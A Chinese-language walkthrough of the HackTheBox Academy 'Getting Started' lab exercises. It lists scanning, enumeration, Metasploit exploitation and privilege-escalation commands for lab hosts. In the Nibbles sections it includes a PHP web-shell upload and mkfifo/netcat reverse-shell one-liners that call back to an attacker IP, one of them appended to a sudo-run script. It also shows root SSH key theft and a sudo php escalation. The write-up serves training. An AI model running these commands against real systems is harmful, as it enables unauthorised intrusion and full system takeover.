HackTheBox Getting Started 练习解析
1.Basic Tools

直接用知识点
sjhdvjs@htb[/htb]$ netcat 10.10.10.10 22
SSH-2.0-OpenSSH_8.4p1 Debian-3


2.Service Scanning

这题需要连接vpn进行扫描
kail连接VPN
sudo openvpn academy-regular.opvn #kail 没安装openvpn需要进行安装 通过apt install 命令安装

接下来进行端口扫描
nmap -sV -sC -p- 10.129.42.254
nmap -A -p- -T4 10.129.42.254 速度快一点

第三问是smb共享
smbclient -U bob \\\\10.129.42.254\\users 用给的用户名密码:bob:Welcome1
ls
cd flag
get falg.txt 将会下载到本地


3.Web Enumeration

访问:http://94.237.56.76:32430

根据知识点用gobuster
gobuster dir -u http://94.237.56.76:32430 -w /usr/share/dirb/wordlists/common.txt

访问robots.txt

访问admin

根据知识点提示查看源代码

登录


4.Public Exploits

访问:http://94.237.48.48:58252/

根据提示使用公开exp
msfconsolve
search Simple Backup Plugin
use 0
set rhost 94.237.48.48
set rport 58252
set FILEPATH /flag.txt #根据提示读取的文件路径为/flag.txt
run


5.Privilege Escalation

根据提示使用ssh登录
ssh user1@94.237.48.48 -p 53673 使用给的用户密码 user1:password1
sudo -l
sudo -u user2 /bin/bash #根据给的知识点切换到user2
cat /home/user2/flag.txt

第二问:权限提升,需要用到rsa私钥连接
cd /root/.ssh/
ls
cat id_rsa
vim id_rsa #复制到本地kail中
chmod 600 id_rsa
ssh root@94.237.48.48 -p 53673 -i id_rsa



6.Nibbles - Enumeration
sudo openvpn academy-regular.opvn
nmap -sV --script=http-enum -oA nibbles_nmap_http_enum 10.129.145.66


7.Nibbles - Initial Foothold
sudo openvpn academy-regular.opvn
目标IP:10.129.200.170
访问:

用gobuster
gobuster dir -u http://10.129.200.170/ -w /usr/share/dirb/wordlists/common.txt
发现只有一个index.html页面,并没有什么用

查看源代码,发现注释里面提示存在/nibbleblog/目录,于是再用gobuster扫一次

gobuster dir -u http://10.129.200.170/nibbleblog/ -w /usr/share/dirb/wordlists/common.txt

发现了一些有用的目录,依次访问
最终在http://10.129.200.170/nibbleblog/content/private/路径下看到了users.xml和config.xml

于是访问看看内容
curl http://10.129.200.170/nibbleblog/content/private/config.xml |xmllint --format - #以xml形式展现
curl http://10.129.200.170/nibbleblog/content/private/users.xml |xmllint --format -


于是访问admin.php,用admin:nibbles 尝试登录,成功登录之后,找上传点,在plugins找到上传点


进行文件上传
<?php system('id');?>

访问http://10.129.200.170/nibbleblog/content/private/plugins/my_image/image.php
使用知识点中的bash反弹shell
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.59 6666 >/tmp/f"); ?>
python3 -c 'import pty; pty.spawn("/bin/bash")'
cd /home/nibbler
ls
cat user.txt


8.Nibbles - Privilege Escalation
根据提示进行提权
ls
unzip personal.zip
cd /home/nibbler/personal/stuff
cat monitor.sh

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.59 9443 >/tmp/f' | tee -a monitor.sh #打开另一个监听窗口
sudo /home/nibbler/personal/stuff/monitor.sh #运行文件进行反弹

nc64.exe -lvnp 9443
pwd
cd /root
ls
cat root.txt #获取flag


9.Knowledge Check

连接VPN访问:
sudo openvpn academy-regular.ovpn
http://10.129.42.249 #打开发现是GetSimple CMS

访问robots.txt

访问admin,没有账号密码登录不了,

进行目录扫描,
gobuster dir -u http://10.129.42.249 -w /usr/share/dirb/wordlists/common.txt

依次访问发现没什么好用的
打开msf,查看是否有公开的exp
msfconsole
search getsimple
use 1

set rhost 10.129.42.249
set lhost 10.10.14.59 #设置为连接vpn之后分配的ip
run #发现成功返回会话

pwd
cd /home
ls
cd mrb3n
ls
cat user.txt #成功获得flag

接下来进行提权
shell #创建会话
whoami
sudo -l #发现是 /usr/bin/php

访问:https://gtfobins.github.io/ 搜索php

点击sudo 查看提权命令

CMD="/bin/sh" 依次输入进行提权
sudo php -r "system('$CMD');"

到此最后一个flag拿到。

]



















